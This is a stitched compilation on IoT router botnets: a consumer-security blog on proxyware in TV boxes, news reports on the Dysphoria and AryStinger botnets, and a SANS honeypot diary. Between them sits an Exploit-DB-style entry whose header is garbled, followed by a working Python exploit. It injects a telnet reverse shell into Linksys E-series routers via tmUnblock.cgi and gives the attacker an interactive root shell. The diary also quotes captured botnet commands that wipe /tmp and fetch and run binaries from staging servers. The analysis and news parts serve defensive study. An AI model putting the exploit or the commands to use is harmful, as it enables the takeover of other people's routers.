linksys

In 2026, the owner of an ordinary home router, smart TV, or TV box is a prime target for cybercriminals. These devices are readily recruited into botnets and residential proxy networks , which we’ve covered before. Criminals “sublease” the infected device by letting outsiders pay to visit any website from the victim’s IP address, so it looks like the device’s owner is doing it. The service is in demand across all kinds of shady schemes: from ad fraud and spam campaigns to password bruteforcing and account hacking. In our previous post, we described how home routers get recruited into these proxy networks; today we’ll look at an even more vulnerable and equally ubiquitous category of devices: smart TVs and TV boxes. These appeal to criminals for two reasons. First off, unlike computers and phones, TVs are almost always plugged into power and connected to fast internet. A dark screen doesn’t mean the device is switched off. On top of that, the limited user interface and monitoring tools mean suspicious background processes can easily slip unnoticed past users. The threat is evolving and growing more aggressive. A recent study found that once proxyware turns up on a set-top box, the risks to its owner go well beyond having their traffic siphoned off. Anatomy of the infection The researchers focused on a popular TV box by SuperBox, which we already covered earlier in the post Is your TV box renting out your network? SuperBox’s marketing leans heavily on the promise of providing thousands of TV channels, with no subscription or monthly fees. But out of the box, the device can’t actually do anything of the sort. To get access to pirated content, you need to install the brand’s proprietary app store. Once you launch it and install additional apps, the promised TV channels do appear. Meanwhile behind the scenes, with no warnings or permission prompts, the device floods external sites with unauthorized requests. Network traffic spikes sharply. The researchers uncovered several alarming facts. First, the victim gets enrolled into as many as five botnets at once. The SuperBox runs clients for several proxyware networks simultaneously, which even try to compete with one another by blocking rival software from being installed. But the real shock was the attacks on the internal network. The TV box’s proxyware places no limits on what its paying clients can actually do on the network. They can reach not only external sites but also devices inside your home network. Normally, your home router and ISP settings protect you from outside attacks. But proxyware bypasses these barriers, because it operates from inside the network. During an experiment, the researchers confirmed that an attacker on the internet can easily leverage the infected set-top box to open the admin panel of a home router, such as a Linksys, which is supposed to be accessible only to its owner when connected to the home Wi-Fi network. This means hackers can try to steal data from other devices at the same household or even encrypt a home network storage (NAS). At the same time, flaws in SuperBox’s factory firmware let hackers remotely install and run any application with superuser privileges. The threat is anything but hypothetical. Over three weeks of monitoring, the test set-top box was hit by more than 1300 attacks through the home proxy network. Attackers installed three different types of malware, including a module for launching DDoS attacks. The malware uses several methods to gain a foothold in the system, and it survives reboots and power failures alike. How to tell if your set-top box is working for hackers If you have a cheap TV set-top box or Android TV from a little-known brand, it’s worth checking it for anomalies. The most reliable method is to review the network traffic. Use the statistics in your router’s control panel — note that some budget models may lack this feature. This feature is called Traffic Analyzer on Asus routers, Traffic Usage on TP-Link, and Traffic Monitor on Keenetic. Find your TV or set-top box in the device list and check the ratio of downloaded to uploaded data. They should consume a lot of traffic to download video while sending very little. If your box is quietly pushing gigabytes of data out or staying chatty on the network even while idle, that’s a telltale sign it’s infected. If traffic statistics aren’t available, look for indirect signs: The network and memory activity LEDs won’t stop blinking even though no one is using the device. The set-top box’s casing is constantly warm or hot. The interface lags behind the remote, and the box freezes at random moments that have nothing to do with heavy video playback. Your other devices (computers or phones) are seeing a real drop in internet speed. When trying to visit familiar sites over your home Wi-Fi, you’re constantly hit with a CAPTCHA, a sign your network may be compromised and flagged as a spam source. Your ISP’s tech support calls you asking about suspicious network loads. What to do with an infected device The best solution is to disconnect the device from the internet and dispose of it. If you have to keep using it, follow these steps to minimize the risks: Do a factory (hard) reset . Restore the set-top box to its original state. Take it offline before setting up. The first time you turn it on after a reset, skip the Wi-Fi setup step and don’t plug in the Ethernet cable. Block app installation. Go to Android settings and disable installation of apps from unknown sources. Be sure to turn off any debugging features if enabled: USB debugging, Wireless debugging, and ADB. Menu item names may differ depending on your Android version and device manufacturer. Isolate it on the network. Set up a guest Wi-Fi network on your router and connect the TV box to it. Enable Client Isolation in your router’s settings, if it has one. This will stop the box from seeing other devices on your home network, which protects your computers and network storage. Check for updates. Once the box is connected to the guest network, check for official firmware updates: manufacturers sometimes patch known vulnerabilities, though with lesser-known brands, you shouldn’t count on it. Your most reliable safeguards Buying cheap devices with pirate streaming features and installing software from shady sources is a surefire way to compromise your home network. Your IP address will become a source of malicious activity, which at best gets you blocked by your ISP and at worst puts you on law enforcement’s radar. What’s more, hackers can use the box as a launchpad to attack your home computers and NAS, which can lead to personal data theft or a ransomware attack. The best protection is to buy devices from trusted brands and pay for legal content. And to rule out someone hijacking control of your network, make sure your router’s admin panel and other home devices are protected with unique, strong passwords. To avoid having to remember them all, use reliable password managers such as Kaspersky Password Manager . Additionally, the Smart Home Monitor feature included in Kaspersky Premium lets you keep all your devices fully under control. There may be more things you don’t know about your smart home devices: Is your TV box renting out your network? Are your TV, smartphone, and smart speakers eavesdropping on you? Five rules to stop IP cameras from spying on you The hidden risks of cheap Android devices Is your router secretly working for foreign intelligence?

Exploit Title: Linksys E1200_2.0.04 - Unauthenticated OS Command Injection Date: 2026-07-22 Exploit Author: JarrettgxzSec Vendor Homepage: www.linksys.com Version: FW ") print(f"[!] Example: python3 {sys.argv[0]} 192.168.1.100 192.168.1.1 8080") sys.exit(1) ATTACKER_IP = sys.argv[1] TARGET_IP = sys.argv[2] TARGET_PORT = sys.argv[3] SHELL_PORT = 8888 def start_shell_listener(): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(('0.0.0.0', SHELL_PORT)) print(f"[*] Listening for shell on port {SHELL_PORT}...") s.listen(1) conn, addr = s.accept() print(f"[+] Connection received from {addr[0]}") # allows interactive interaction conn.setblocking(True) conn.settimeout(0.5) while True: # send command to the router cmd = input("# ") conn.send((cmd + "\n").encode()) # receive output from the router try: while True: # keep reading until the device stops sending chunk = conn.recv(4096).decode(errors='ignore') if not chunk: print("\n[!] Connection closed by target.") return print(chunk, end="", flush=True) # timeout decided by the conn.settimeout() method previously except socket.timeout: # this is expected when the device is done sending text pass def execute_exploit(): print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...") # 1. Build the payload payload = "\nrm /tmp/f \n" payload += "mkfifo /tmp/f \n" payload += "killall httpd && httpd \n" payload += f"cat /tmp/f | /bin/sh 2>&1 | telnet {ATTACKER_IP} {SHELL_PORT} > /tmp/f &\n" payload = quote(f" {payload}") post_data = "submit_button=&" post_data += "change_action=&" post_data += "submit_type=&" post_data += "action=&" post_data += "commit=0&" post_data += "ttcp_num=&" post_data += "ttcp_size=&" post_data += f"ttcp_ip={payload}&" post_data += "StartEPI=1" post_data = post_data.encode() # 2. Build the HTTP POST body http_req = f"POST /tmUnblock.cgi HTTP/1.1\r\n" http_req += f"Host: {TARGET_IP}\r\n" http_req += "Content-Type: application/x-www-form-urlencoded\r\n" http_req += f"Content-Length: {len(post_data)}\r\n" http_req += "Connection: close\r\n" http_req += "\r\n" http_req = http_req.encode() + post_data try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.settimeout(10) s.connect((TARGET_IP, TARGET_PORT)) s.sendall(http_req) except Exception as e: print(f"[!] Error: {e}") if name == "main": # start the shell listener in the background listener_thread = threading.Thread(target=start_shell_listener) listener_thread.daemon = True listener_thread.start() # short sleep to ensure the listener is bound and ready time.sleep(1) # execute the exploit function execute_exploit() # keep main thread alive to interact with the shell while listener_thread.is_alive(): time.sleep(1)

A botnet called Dysphoria has compromised around 200,000 devices across the world and is using them for distributed denial of service (DDoS) attacks and traffic relay operations. According to QiAnXin XLab cybersecurity researchers, Dysphoria evolved from the ‘jackskid’ and ‘fbot' malware by adding a covert blockchain-based command-and-control (C2) resolution mechanism. Specifically, the botnet uses Ethereum ENS and Solana SNS domains to retrieve infrastructure information, while C2 addresses are concealed inside fake IPv6 strings and recovered using a custom byte-transformation algorithm. The researchers first spotted Dysphoria on March 25 and identified multiple iterations that added meaningful updates, such as a C2 acquisition algorithm, multi-chain support, new domains, and functional separation between the relaying and DDoS variants. “Since the first quarter of 2026, XLAB has continuously tracked an emerging botnet family named Dysphoria, whose bot count exceeds 200,000,” reads XLab's report. “In just a few months, the family has undergone frequent variant updates and technical iterations, demonstrating extremely strong resilience.” The use of blockchain in C2 operations makes the overall infrastructure harder to trace and dismantle. Based on the researchers' analysis, infected clients send a fixed 78-byte login and heartbeat packet back to the C2 and receive from the operator DDoS attack commands that include duration, type, targets, and configurable flags. In late June, XLab observed a variant that focused only on transforming infected devices into network proxies, and completely discarded the DDoS functionality. The malware abuses UPnP (Universal Plug and Play) on the compromised device to create 155 port forwarding rules to expose internal services to inbound internet connections. XLab's report notes that the botnet spreads through weak Telnet and SSH credentials and known vulnerabilities in routers, cameras, and various IoT devices. Among the more recent flaws exploited are CVE-2025-55182 (“React2Shell”), CVE-2025-34152, CVE-2025-28137 (Totolink), and CVE-2025-9528 (Linksys). However, Dysphoria also targets older weaknesses that still persist in many devices, like CVE-2017-17215 (Huawei) and CVE-2020-8515 (DrayTek). XLab monitored the botnet between July 14 and 20 and recorded a peak of 740,000 daily pings from infected hosts, 239,000 connections from overseas clients, and 1,800 from China. The researchers confidently estimate that the number of infected devices is around 200,000 at this time. Concerning the botnet’s firepower, its operators claim a maximum DDoS capacity of 4 Tbps on their clearnet site, which promotes the service as a legitimate stress-tester. Despite being significantly lower than the current record figure of 31.4 Tbps achieved by the Aisuru/Kimwolf botnet in December 2025, it is still enough to cause notable disruptions. Users can protect against botnet infections by keeping their devices’ firmware up to date, changing the default administrator password, disabling remote access if not necessary, and strengthening the security settings where available/possible. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Dysphoria, an Internet of Things (IoT) botnet line tracked by CNCERT and XLab, has adopted blockchain-based name services and infected-device relays after a March law-enforcement operation against JackSkid infrastructure. The researchers say the design makes the botnet harder to disrupt. CNCERT, China's national computer emergency response team, and XLab, the threat-intelligence lab of Chinese firm Qi'anxin, put its population above 200,000 bots. Their telemetry logged 4,401 confirmed active devices inside China between July 14 and 20 and a single-day peak of 239,000 bots abroad. None of the counts has been independently reproduced. The researchers published no counting or de-duplication methodology, so the numbers should not be read as a precise device census. Defenders should patch exposed IoT gear, replace devices that can no longer be updated, eliminate default and weak credentials, and disable remote management and UPnP where they are not needed. The lineage runs through JackSkid, one of four IoT botnets targeted in coordinated U.S., German, and Canadian law-enforcement actions on March 19. Court documents attributed more than 90,000 DDoS commands to JackSkid alone. Within days, Nokia Deepfield and Comcast's threat lab documented the operator falling back to an Ethereum Name Service (ENS) domain, m3rnbvs5d[.]eth, for command-and-control (C2). XLab's Dysphoria timeline opens with a JackSkid sample captured on March 25, six days after the disruption, that resolves C2 through the same domain. XLab found that the burrberry[.]eth record encodes distribution-node IPv4 addresses, while 24carnforth2merseyside[.]sol supplies other infrastructure records. The DDoS sample asks a distribution node over HTTP for a current server list, and the listed endpoints are infected machines relaying traffic to the real controllers. The design keeps those controllers one step removed from the addresses exposed to bots. The XLab analysis, published July 25, tracks a fast run of builds: custom RC4 string encryption and ENS resolution at the end of April, followed by Solana Name Service (SNS) resolution in early May. A relay-only variant appeared on June 25, with UPnP-based port mapping added days later to traverse NAT gateways. The relay-only build drops the DDoS modules and instead uses UPnP to map ports on the local gateway and Linux epoll to shuttle traffic between an outside connection and a remote C2 service. XLab documented the related Kimwolf botnet using ENS-based C2 late last year. Dysphoria couples the same resolution model with a relay mesh built from its own victims. The shift complicates a conventional server seizure, but it does not remove infrastructure from the chain: the botnet still depends on blockchain records, reachable distribution nodes, and compromised relays. Japan's NICT independently documented the same JackSkid-to-ENS/SNS shift in May, and, like Nokia and Comcast, found code and strings shared with several other botnet families. That overlap points to shared tooling rather than proof of a single operator, and none of the researchers name one. XLab and CNCERT say Dysphoria spreads through Telnet and SSH weak-password guessing and a set of known IoT remote-code-execution flaws in routers, gateways, and cameras. One example present in both published lists is CVE-2025-9528, a Linksys E1700 command-injection flaw disclosed in August 2025 with a public exploit. The vendor did not respond to the original report. NVD's CVSS vector rates the flaw as requiring high privileges, and neither publication explains how it fits the botnet's propagation chain. A comparison by The Hacker News found that XLab's post and a mirrored CNCERT notice publish different vulnerability lists despite presenting the same joint research. Both agree that weak Telnet and SSH credentials remain the most consistent way in. XLab says Dysphoria attacks internet-service and gaming targets almost daily, but it names no victims or measured peaks. The storefront advertises attacks of up to about 4 Tbps for tens to hundreds of dollars, but that is an operator claim, not a measured attack. Cloudflare measured a 31.4 Tbps attack from the related AISURU/Kimwolf botnet before the March disruption. CNCERT, XLab, and the earlier JackSkid research name no operator. No independent source has measured a Dysphoria attack peak or confirmed the reported 200,000-device scale.

by Nicole Phillips, SANS.edu BACS Student (Version: 1) [This is a Guest Diary by Nicole Phillips, an ISC intern as part of the SANS.edu BACS program] "I was just sitting here enjoying the company. Plants got a lot to say, if you take the time to listen." — Eeyore, Winnie the Pooh Introduction: Listening to the Static Setting up and contributing to the DShield honeypot project [1] as an ISC intern is a meaningful part of the BACS program at SANS [2]. Over the last several months I've been thrilled to observe real-time SSH/Telnet activity, check every new file hash and TTY log and hunt for unique http requests. That said, reviewing raw honeypot logs can feel overwhelming. Every day, public facing servers are bombarded by millions of identical hits, mostly automated, creating a fog of noise that seems repetitive, yet disconnected and chaotic. After seeing the same sequence of activity day in and day out, it becomes easy to dismiss traffic as loud background static. But like Eeyore's observation of the Hundred Acre Wood, the background noise has a lot to say if you stop to listen. Witnessing the noise helps you understand how to recognize the anomalies. When slowing down and looking more closely at patterns, the fog lifts, revealing layers of orchestration in an automated shadow economy that increasingly drives my curiosity. • What are automated botnets and scanners? • How do they operate? • What are they looking for? • What or who operates behind the scenes, and how mature are their engineering tactics? While I'm unable to fully answer these questions, I will try to deconstruct some of the malicious automated background noise at several tiers, tracing its trajectory from low-level mechanical slips and overlaps to human-mimicking deception. A note on attribution: The assessment that follows references each operation based on its observed "User-Agent" identifier to cluster specific infrastructure and automated behavior; it does not imply definitive attribution of the activity to the original botnet developers. The Commodity Layer: Surface Noise Much of the malicious noise consists of bots and automated scripts scanning blindly for vulnerable IoT devices. These are the weeds of this ecosystem, initially ignored, until one day the entire garden is overrun. In the digital space, this appears as low-level static. It's easy to assume that exploits will reveal themselves out of the static through standard telemetry. I've learned through this internship, however, that malicious activity at this layer is much simpler. Attackers are not knocking down doors; they are walking right through them. Because so much of network defense is inherently reactive, a lot of this activity simply gets missed. While the operators exhibit technical limitations and sloppy mistakes, they succeed because they are paying attention. Through automation, mass trial and error campaigns, and volume that outpaces patching and CVEs, these operators can find and weaponize simple gaps that go unnoticed. My web honeypot captured traffic that illustrates this dynamic. Terrabot: The Disposable Swarm TerraBot is an aggressive IoT botnet variant derived from Mirai and Gafgyt source code frameworks that scans the internet for exploits to weaponize and build its network of compromised devices [3]. The User-Agent string, terrabot-owned-you appears repeatedly in my logs. Between May 28 and June 9 my honeypot saw 24 hits from 24 unique IPs, all with the same User-Agent string. The vast majority – 17 of the 24 hits – targeted the /GponForm/diag_Form?images/ endpoint, while 6 hits delivered a payload targeting a known unauthenticated command injection vulnerability affecting legacy D-Link DSL gateway routers (CVE-2016-20017) using a staging server at hxxp://140[.]233.190, 47.as shown below: Figure 1: Terrabot payload attempting unauthenticated command injection against legacy D-Link DSL routers (CVE-2016-20017) Interestingly, Terrabot's automation failures begin with the first hit in my logs, a POST request to /GponForm/diag_Form?images/ attempting to exploit an authentication bypass flaw (CVE-2018-10561) in Dasan GPON routers. While the logs show the correctly formatted URL string, the exploit requires the POST action to actively inject the malicious payload into the router's ping diagnostic tool via the request body. My logs show each of these hits as entirely empty. This botnet was not performing reconnaissance; it was shooting blanks. Activity against these two endpoints continued over the next 11 days, always from unique IPs. Terrabot's campaign ends with a stand-alone event that further confirms its brokenness. On June 9, the following request hit from source IP: 176.116.165.207: The payload above targets a well-known unauthenticated remote code execution (RCE) backdoor found in legacy MVPower CCTV DVRs, commonly known as the JAWS Webserver RCE (CVE-2016-20016), exploited in the wild between 2017 and 2022. The "JAWS" reference relates to the embedded JAWS web-server and self-identification in HTTP response headers. Had the request been correctly formatted, the /shell endpoint would have executed in the device's root terminal as follows: • cd /tmp; rm -rf * - Eviction: the bot clears out temporary memory to aggressively wipe out competing malware strains or previous installs • wget+140.233.190.47/jaws - Staging Endpoint: the device reaches out to fetch the jaws binary, hosted on a known malicious endpoint • chmod 777 jaws; sh jaws; ./jaws - Execution: this forces max permissions and attempts to execute the payload simultaneously as both a shell script and compiled binary to ensure successful takeover. This exploit failed due to a simple formatting bug. The script author inserted an unencoded, raw space character directly after wget+ instead of standard URL encoding, causing the web server to reject the request. In HTTP protocol formatting, a single blank space acts as a delimiter separating the URI path from the HTTP Version string. Because of this unencoded space, the honeypot immediately rejected the connection with a 400 Bad Request Syntax error, highlighting sloppy, copy-pasted scripting templates that break due to simple human errors. Figure 2: Wireshark stream showing honeypot returning HTTP 400 Bad Request syntax error After a short burst of static, this event on June 9, 2026 is the last appearance of Terrabot in my logs. That said, its presence on the /login.cgi?cli=... endpoint marks the spot where it crossed paths with a more structurally sound campaign. r00ts3c: The Tactical Shift A second familiar string appears across my logs: r00ts3c-owned-you, and traces back to June 6, 2026, with the first hit from source IP 124.71.175.215. Same naming convention as Terrabot, same Mirai lineage, but a different target. This one has a detail buried in the infrastructure that complicates the "commodity" label. The activity begins on June 6 with a generic entry point: a direct request to a hardcoded debugging console backdoor shell to the hxxp://176[.]65.149.168 staging server to fetch kaizen.arm, a binary specifically targeting ARM processors. Figure 3: Initial r00ts3c entry attempting to fetch and execute the kaizen.arm binary via a debugging console backdoor The command string above is broken down as follows: • GET /shell? - Entry: The entry point debugging console • cd /tmp; rm -rf * - Mass Eviction: Like Terrabot, this wipes everything. We will see shortly why this is interesting. • wget hxxp://176[.]65.149.168/bins/kaizen.arm - Staging Endpoint: Fetches the kaizen.arm payload from a remote staging server • chmod 777 kaizen.arm; ./kaizen.arm - Execution: Sets execution permissions and runs the binary. Two days later on June 8, the activity continues with two POST requests to /UD/?9 and /UD/act?1, which are control endpoints for many consumer routers that use SOAP to communicate over HTTP [4]. Both requests contain the same staging server as the previous: On the same day, the next request hits /tmUnblock.cgi, a CGI endpoint in Linksys E-series routers carrying a critical command injection vulnerability (CVE-2025-34037). While documented since 2013 and historically exploited by "TheMoon" worm, this vulnerability continues to be actively weaponized by modern botnets [8]. Figure 4: r00ts3c targeting SOAP-based /UD router control endpoints using the primary 176.65.149.168 staging server. SANS ISC has been tracking the vulnerability since Feb 2014 [7], and this specific endpoint since September 2019. The following POST request is from source IP 119.96.223.148 out of Wuhan, China: Figure 5: r00ts3c payload targeting Linksys routers (CVE-2025-34037). Note the hardcoded 188.166.41.194 DigitalOcean IP in the HTTP Host header. Here, the injection occurs in the ttcp_ip field, which is a router diagnostic parameter expecting an IP address for TCP throughput testing. Passing -h gives it an invalid value, causing the utility to fail and triggering the shell to move to the backtick-wrapped command chain: • cd /tmp; rm -rf kaizen.mpsl - Targeted eviction: Where Terrabot's final hit ran rm -rf * and wiped everything, this removes only the kaizen binary, leaving other resident malware untouched and reducing noise on the compromised device. Note that on it's first hit, r00ts3c also wiped everything. • wget hxxp://176[.]65.149.168/bins/kaizen.mpsl - Staging Endpoint: Fetches the new kaizen.mpsl payload from a remote staging server • chmod 777 kaizen.mpsl; ./kaizen.mpsl linksys - Execution: Sets execution permissions and runs the binary with "linksys" passed as a runtime argument The .mpsl extension identifies a MIPS Little Endian compiled binary, the architecture inside Linksys E-series hardware and a payload built specifically for this target class. Despite this tactical maturity in payload management, a closer look at the raw HTTP headers reveals the same sloppy engineering. In the June 8 request from the Wuhan node shown above, the HTTP Host header reads: "Host":"188.166.41.194:80". In a properly formatted request, the Host header should reflect the IP address of the destination server (my honeypot IP). Instead, this bot is broadcasting the IP address of a completely unrelated DigitalOcean server. This hard-coding error is a recurring theme here. In other instances with r00ts3c, as well as Terrabot's JAWS attempt, the header is hardcoded as Host: 127.0.0.1:80, the loopback address used for local building and sandbox testing. The operators failed to configure these variables before releasing the bots, demonstrating hastily assembled and structurally flawed delivery systems. Wrapping up June 8, we see one final POST request, specifically targeting CVE-2016-20017, coming from source IP 20.210.107.25, with a nearly identical payload as Terrabot's D-Link campaign: Figure 6: r00ts3c D-Link exploit attempt (CVE-2016-20017) originating from Microsoft Azure cloud infrastructure. The 20.x IP belongs to Microsoft Azure. The geolocation points to an anonymous fallback for cloud infrastructure that cannot be resolved to a specific location (the literal geographic center of the United States). For the next 6 days, r00ts3c was silent, picking up again on June 14, from the same 20.210.107.25 IP, only this time targeting the /tmUnblock.cgi endpoint on port 80. Four more hits followed over the next 24 hours, repeating the /UD endpoints and pointing to the same staging server. On June 17, the bot seemed to loop back to the initial request seen on June 6, only this time from an IP out of Ukraine, pointing to a new staging server: itself, at hxxp://83.142.209.46, also fetching the kaizen.arm binary. The following day, the Azure node strikes again, essentially returning to hit the /shell backdoor one last time. This final request reverted to the original script, attempting to fetch kaizen.arm from the primary staging server at hxxp://176.65.149.168. Ultimately, this single Ukraine P2P entry demonstrates that embedded within the background noise are the structural indicators of how the automated botnets adapt, decentralize and survive. rondo (aka: RondoDox): The Deep Precursor Almost a month before r00ts3c appeared in my logs, a different operator found the perimeter. However, parsing earlier logs revealed that the rondo infrastructure had been silently active since as early as May 2. These logs reveal that the "commodity noise" may often mask highly sophisticated, enterprise-grade attacks. This campaign, tracked by the threat intelligence community as the RondoDox botnet[5], unfolded across three distinct phases in my logs. Phase 1: The Enterprise & AI Shotgun Source IP: 124.198.131.185 | C2: 45.92.1.50 The first 8 hits from this campaign originated from source IP 124.198.131.185 (Spark New Zealand). During this first phase, the operator targeted high-value enterprise and AI frameworks, utilizing a primary staging server located at hxxp://45[.]92.1.50. These initial hits highlight a more sophisticated execution chain: • Log4Shell WAF Evasion (CVE-2021-44228): The attacker utilized environment variable manipulation within the User-Agent string to successfully bypass basic Web Application Firewalls. The end of the string contains a Base64 encoded command. Decoding it reveals the fileless execution payload: • The Header Spray: Reviewing the JSON logs from the early May events reveals more characteristics of automated broad-spectrum scanning. In addition to dropping the exploit into the User-Agent string, rondo maximized probability of success by forcing the obfuscated exploit into every possible HTTP header: • ShadowRay (CVE-2023-48022): Along with the Tomcat attacks, rondo launched targeted hits against the /api/jobs/ endpoint, mimicking standard interactions via python-requests while deploying the fileless loader payload string rondo.wfh.sh directly into memory: Phase 2: The Infrastructure Shift Source IP: 124.198.131.185 | C2: 204.10.194.134 After the first 8 hits between May 2 and May 3, a clean structural break occurred, and the botnet was silent until May 16, when it resurfaced and fired 5 more hits between May 16 and May 17. While the source IP remained identical, the C2 shifted to a new staging server at hxxp://204[.]10.194.134. rondo also pivoted away from enterprise exploits, firing a succession of command injection attacks at several consumer-grade router interfaces: • LB-LINK Command Injection (CVE-2023-26801): Discovered in March 2023 and still active, this vulnerability allows an attacker to execute commands on the device by sending crafted HTTP POST requests to the /goform/set_LimitClient_cfg URL. By setting the "time1" and "time2" fields to "00:00-00:00" and injecting arbitrary commands into the "mac" field, an attacker may then execute the command chain on the device. •Decoded log payload: • ASUS AsusWRT NVRAM Manipulation (CVE-2018-6000): An unauthenticated attacker may enable a hidden background debugging console by submitting a POST request to the /vpnupload.cgi endpoint, allowing arbitrary command execution. • DShield form data payload: name=\"ateCommand_flag\"\r\n\r\n1 This mid-campaign rotation proves that even commodity botnets possess centralized coordination, updating the configuration of infected edge devices on the fly without needing to re-compromise them. Phase 3: The Residential Drift Source IP: 124.198.131.22 | C2: 204.10.194.134 The final 8 hits of the campaign demonstrate the physical constraints of operating a botnet through consumer hardware. The activity was silent for about 10 days after the last hit on May 17. When it picked back up on May 28, the source IP shifted its last octet to 124.198.131.22, reflecting a standard DHCP lease renewal within the same residential IP pool. Between May 28 and May 29, 8 hits from this new IP targeted two specific endpoints: the legacy Linksys /tmUnblock.cgi interface and the LB-LINK /goform/set_LimitClient_cfg endpoint, drawing payloads from the secondary 204.10.194.134 server. The target is the same /tmUnblock.cgi endpoint seen with r00ts3c. The query string carries the same base64 value: L3RtVW5ibG9jay5jZ2k=, which decodes to /tmUnblock.cgi, pointing to a shared underlying scanner template. The rondo payload, however, is again fileless: After the IP shift, the timing intervals between the final hits were highly irregular, ranging from two to six hours apart and occurred exclusively during local waking hours in Auckland (NZST, UTC+12). 1: RondoDox Phase 3 scanning activity (Source IP: 124.198.131.22) correlated with local waking hours in Auckland, New Zealand (NZST). All of these hits reflect waking household hours in Auckland, with zero overnight activity. Here, the bandwidth constraints, connectivity interruptions, and activity patterns of a real household bleed into the attack data. The device in Auckland is not server infrastructure rondo provisioned. It is a victim, now scanning for more victims exactly like itself. This is the Mirai replication loop in concrete log data: Router gets compromised → router becomes scanner → scanner hunts routers → repeat. The botnet is residential infrastructure, not routed through it. The owner of that Auckland router has no idea that their device spent late May probing a Linksys vulnerability between noon and midnight. The irregular scan timing is simply a household schedule leaking through a compromised gateway. Conclusion: The Depth of the Noise Eeyore was right: the background has a lot to say. Across this 30-day observation window, the commodity threat layer showed that it is not monolithic. To dismiss automated scans as simple background static is to overlook a competitive, multi-tiered system running continuously beneath the surface of normal network activity, a shadow economy with its own supply chains, infrastructure patterns, and operational rhythms. At the surface, we find campaigns like Terrabot and r00ts3c, scanning for and blasting decades old CVEs with flawed scripts and clumsy engineering. Deeply beneath lies RondoDox, aggressively gathering exploits that target a large range of systems, from consumer-grade hardware to enterprise web-servers and AI frameworks, systematically deploying sophisticated fileless exploit chains while running off of compromised home routers [6]. Threat actors are fundamentally efficient. They do not segment their operations into neat "commodity" or "advanced" categories. They use the exact same disposable infrastructure to scan the entire internet, relying on the persistent gap between what our systems check and what they assume. Ultimately, they don't need sophisticated exploits to inflict damage but weaponize simplicity and high-volume automation that outpaces mitigation. For network defenders and analysts, it's important to understand the depth of the noise and how it should be treated. Observing patterns and structural shifts within the static is essential for keeping pace with an automated, multi-directional threat that never stops running. The infrastructure persists, campaigns evolve, payloads update, and the ports keep listening. [1] https://isc.sans.edu/honeypot.html [2] https://www.sans.edu/cyber-security-programs/bachelors-degree/ [3] https://www.socdefenders.ai/threats/07c347ba-6a9c-44bc-956d-5dde426c673d [4] https://unit42.paloaltonetworks.com/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/ [5] https://www.bitsight.com/blog/rondodox-botnet-infrastructure-analysis [6] https://www.securityweek.com/rondodox-botnet-targeted-174-vulnerabilities/ [7] https://isc.sans.edu/diary/17633 [8] https://www.sentinelone.com/vulnerability-database/cve-2025-34037/ Disclosure: Gemini supported polish and grammar checks, certain technical explanations, and assistance with locating hard-to-find sources. All such links, source material and commands were independently verified, while all research, event discovery and authorship remain my own. ----------- Guy Bruneau IPSS Inc. My GitHub Page Twitter: GuyBruneau gbruneau at isc dot sans dot edu

A new malware family is turning forgotten home routers into a distributed reconnaissance and proxy network, not the DDoS botnet these devices usually end up in. QiAnXin's XLab calls it AryStinger and counts at least 4,300 infected routers, a total it says is still rising. The distinction matters. AryStinger exists for the stage of an attack that comes before the break-in. Infected devices scan the internet, fingerprint services, enumerate subdomains, tunnel traffic, and run commands on demand, then ship the results back to the operator. Each router becomes a footprinting node and a relay that hides where the real attacker is. Old chips, older bugs The campaign goes after routers built on Realtek's RTL819X chips, hardware that was current around 2012 to 2015. XLab first saw it on March 12, 2026, spreading from a single IP, 107.150.106.14. The binary it pushed was a Linux ELF that no engine on VirusTotal flagged, exploiting two flaws from another era: CVE-2013-3307 in Linksys models and CVE-2016-5681 in D-Link ones. The infected pool is mostly D-Link, with the DIR-850L alone making up about 75 percent. By geography, it skews to South Korea (around 48 percent) and China (around 32 percent), then Sweden, Malaysia, and Singapore. A second strain appeared on April 26, aimed at QNAP NAS boxes through CVE-2025-11837, a code injection flaw in QNAP's Malware Remover. The bug was shown at Pwn2Own Ireland 2025 and patched in November 2025, months before this strain began using it. The way in is the appliance's own malware-removal tool. XLab hasn't measured the NAS infections, so the 4,300 figure covers RTL819X routers only. Two builds, same job One build is lean, and one is fuller. The router build is written in C and kept light, because the old hardware can't run more, so it sticks to mass DNS scanning and traffic tunneling. The NAS build is written in Go and does much more. It scans internal and external networks and runs recon tools like fscan, ksubdomain, and httpx. A "ScriptWork" task executes attacker-supplied Go, Java, or Python source code on the box, so the operator never has to compile a binary per target. Each infected node, which XLab calls an Executor, talks to its C2 over HTTP/HTTPS, with Protobuf-encoded traffic obfuscated by a simple XOR (the Go build adds gzip). The operator splits a large scan into chunks and spreads them across the fleet, footprinting in parallel. XLab says the same DNS scanning can be aimed at resolvers to generate denial-of-service traffic. Persistence comes from a Dropbear SSH server on a fixed port, 2332 on routers, or gs-netcat on NAS. The hardcoded key, sh_#@!_2024_secret, carries a "2024" that may point to a 2024 start, though XLab can't confirm it. Where this fits The shape is familiar. In May 2025, the FBI and Justice Department tore down the 5socks and Anyproxy services, which had turned years-old Linksys and Cisco routers running TheMoon malware into residential proxies sold by the month. The espionage version looks much the same. Mandiant has tracked operational relay box networks, or ORBs: meshes of compromised end-of-life routers and IoT that state actors use to scan and relay while staying hard to trace. Recent router ORBs like LapDogs farm devices through n-day bugs the way AryStinger does. AryStinger isn't pinned to anyone yet, and XLab says it's still working on who is behind it. What's clear is the model: forgotten hardware, ancient CVEs, turned into quiet infrastructure for the opening moves of an intrusion. What to do If you run any of the affected gear, the checks are simple. Look for outbound connections to AryStinger's C2 and download domains (the ajb8.com and related hosts in XLab's IOC list), check /tmp/bin for binaries you didn't put there, and look for processes named syswapd0h or syswapd0w. The durable fix is the one everyone keeps repeating: retire end-of-life routers that no longer get firmware, and turn off remote administration on anything exposed. A box that stopped getting patches in 2016 is not going to start now.

